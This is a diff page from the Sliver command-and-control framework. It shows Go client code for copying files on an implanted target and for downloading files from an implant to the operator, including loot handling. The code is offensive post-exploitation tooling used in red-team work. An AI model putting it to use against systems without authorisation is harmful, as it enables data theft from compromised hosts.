"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
func CpCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) (err error) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
if len(args) != 2 {
con.PrintErrorf("Please specify a source and destination filename.\n")
return
}
src := args[0]
dst := args[1]
cp, err := con.Rpc.Cp(context.Background(), &sliverpb.CpReq{
Request: con.ActiveTarget.Request(cmd),
Src: src,
Dst: dst,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
cp.Src, cp.Dst = src, dst
if cp.Response != nil && cp.Response.Async {
con.AddBeaconCallback(cp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, cp)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
})
con.PrintAsyncResponse(cp.Response)
} else {
PrintCp(cp, con)
}
return
}
func PrintCp(cp *sliverpb.Cp, con *console.SliverConsoleClient) {
if cp.Response != nil && cp.Response.Err != "" {
con.PrintErrorf("%s\n", cp.Response.Err)
return
}
con.PrintInfof("Copied '%s' to '%s' (%d bytes written)\n", cp.Src, cp.Dst, cp.BytesWritten)
}
+59 -152
View File
@@ -22,39 +22,46 @@ import (
"context"
"fmt"
"os"
"path"
"path/filepath"
"regexp"
"runtime"
"strings"
"time"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
"gopkg.in/AlecAivazis/survey.v1"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
func DownloadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
// DownloadCmd - Download a file from the remote system
func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
remotePath := args[0]
recurse, _ := cmd.Flags().GetBool("recurse")
remotePath := ctx.Args.String("remote-path")
localPath := ctx.Args.String("local-path")
src := remotePath
fileName := filepath.Base(src)
dst, _ := filepath.Abs(localPath)
fi, err := os.Stat(dst)
if err != nil && !os.IsNotExist(err) {
con.PrintErrorf("%s\n", err)
return
}
if err == nil && fi.IsDir() {
dst = path.Join(dst, fileName)
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Downloading %s ...", remotePath), ctrl)
con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, dst), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(cmd),
Path: remotePath,
Recurse: recurse,
RestrictedToFile: false,
Request: con.ActiveTarget.Request(ctx),
Path: remotePath,
})
ctrl <- true
<-ctrl
@@ -69,160 +76,60 @@ func DownloadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
HandleDownloadResponse(download, cmd, args, con)
PrintDownload(download, ctx, con)
})
con.PrintAsyncResponse(download.Response)
} else {
HandleDownloadResponse(download, cmd, args, con)
PrintDownload(download, ctx, con)
}
}
func prettifyDownloadName(path string) string {
nonAlphaNumericRegex, err := regexp.Compile("[^a-zA-Z0-9]+")
if err != nil {
// Well, we tried.
return path
}
pathNoSeparators := strings.ReplaceAll(path, "\\", "_")
pathNoSeparators = strings.ReplaceAll(pathNoSeparators, "/", "_")
filteredString := nonAlphaNumericRegex.ReplaceAllString(pathNoSeparators, "_")
// Collapse multiple underscores into one
multipleUnderscoreRegex, err := regexp.Compile("_{2,}")
if err != nil {
return filteredString
}
filteredString = multipleUnderscoreRegex.ReplaceAllString(filteredString, "_")
// If there is an underscore at the front of the filename, strip that off
if strings.HasPrefix(filteredString, "_") {
filteredString = filteredString[1:]
}
return filteredString
}
func HandleDownloadResponse(download *sliverpb.Download, cmd *cobra.Command, args []string, con *console.SliverConsoleClient) {
var err error
// PrintDownload - Print the download response, and save file to disk
func PrintDownload(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
remotePath := ctx.Args.String("remote-path")
localPath := ctx.Args.String("local-path")
src := remotePath
fileName := filepath.Base(src)
dst, _ := filepath.Abs(localPath)
fi, err := os.Stat(dst)
if err != nil && !os.IsNotExist(err) {
con.PrintErrorf("%s\n", err)
return
}
if err == nil && fi.IsDir() {
dst = path.Join(dst, fileName)
}
if _, err := os.Stat(dst); err == nil {
overwrite := false
prompt := &survey.Confirm{Message: "Overwrite local file?"}
survey.AskOne(prompt, &overwrite, nil)
if !overwrite {
return
}
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
con.PrintErrorf("Decoding failed %s", err)
return
}
}
remotePath := args[0]
var localPath string
if len(args) == 1 {
localPath = "."
} else {
localPath = args[1]
}
saveLoot, _ := cmd.Flags().GetBool("loot")
if download.ReadFiles == 0 {
// No files downloaded successfully.
con.PrintErrorf("No files downloaded from the implant - check permissions, path, and / or filters.\n")
dstFile, err := os.Create(dst)
if err != nil {
con.PrintErrorf("Failed to open local file %s: %s\n", dst, err)
return
}
if saveLoot {
lootName, _ := cmd.Flags().GetString("name")
// Hand off to the loot package to take care of looting
fType, _ := cmd.Flags().GetString("file-type")
fileType := loot.ValidateLootFileType(fType, download.Data)
loot.LootDownload(download, lootName, fileType, cmd, con)
defer dstFile.Close()
n, err := dstFile.Write(download.Data)
if err != nil {
con.PrintErrorf("Failed to write data %v\n", err)
} else {
fileName := filepath.Base(remotePath)
dst, err := filepath.Abs(localPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
fi, err := os.Stat(dst)
if err != nil && !os.IsNotExist(err) {
con.PrintErrorf("%s\n", err)
return
}
if err == nil && fi.IsDir() {
if download.IsDir {
// Come up with a good file name - filters might make the filename ugly
session, beacon := con.ActiveTarget.Get()
implantName := ""
if session != nil {
implantName = session.Name
} else if beacon != nil {
implantName = beacon.Name
}
fileName = fmt.Sprintf("%s_download_%s_%d.tar.gz", filepath.Base(implantName), filepath.Base(prettifyDownloadName(remotePath)), time.Now().Unix())
}
if runtime.GOOS == "windows" {
// Windows has a file path length of 260 characters
// +1 for the path separator before the file name
if len(dst)+len(fileName)+1 > 260 {
// Make an effort to shorten the file name. If this does not work, the operator will have to find somewhere else to put the file
fileName = fmt.Sprintf("down_%d.tar.gz", time.Now().Unix())
}
}
dst = filepath.Join(dst, fileName)
}
// Add an extension to a directory download if one is not provided.
if download.IsDir && (!strings.HasSuffix(dst, ".tgz") && !strings.HasSuffix(dst, ".tar.gz")) {
dst += ".tar.gz"
}
if _, err := os.Stat(dst); err == nil {
overwrite := false
prompt := &survey.Confirm{Message: "Overwrite local file?"}
survey.AskOne(prompt, &overwrite, nil)
if !overwrite {
return
}
}
dstFile, err := os.Create(dst)
if err != nil {
con.PrintErrorf("Failed to open local file %s: %s\n", dst, err)
return
}
defer dstFile.Close()
n, err := dstFile.Write(download.Data)
if err != nil {
con.PrintErrorf("Failed to write data %v\n", err)
} else {
var readFilesText string
var unreadFilesText string
if download.ReadFiles == 1 {
readFilesText = "file"
} else {
readFilesText = "files"
}
if download.UnreadableFiles == 1 {
unreadFilesText = "file"
} else {
unreadFilesText = "files"
}
con.PrintInfof("Wrote %d bytes (%d %s successfully, %d %s unsuccessfully) to %s\n",
n,
download.ReadFiles,
readFilesText,
download.UnreadableFiles,
unreadFilesText,
dstFile.Name())
}
con.PrintInfof("Wrote %d bytes to %s\n", n, dstFile.Name())
}
}
Loaded 100 of 10082 files, more files were not shown because too many files have changed in this diff. Show more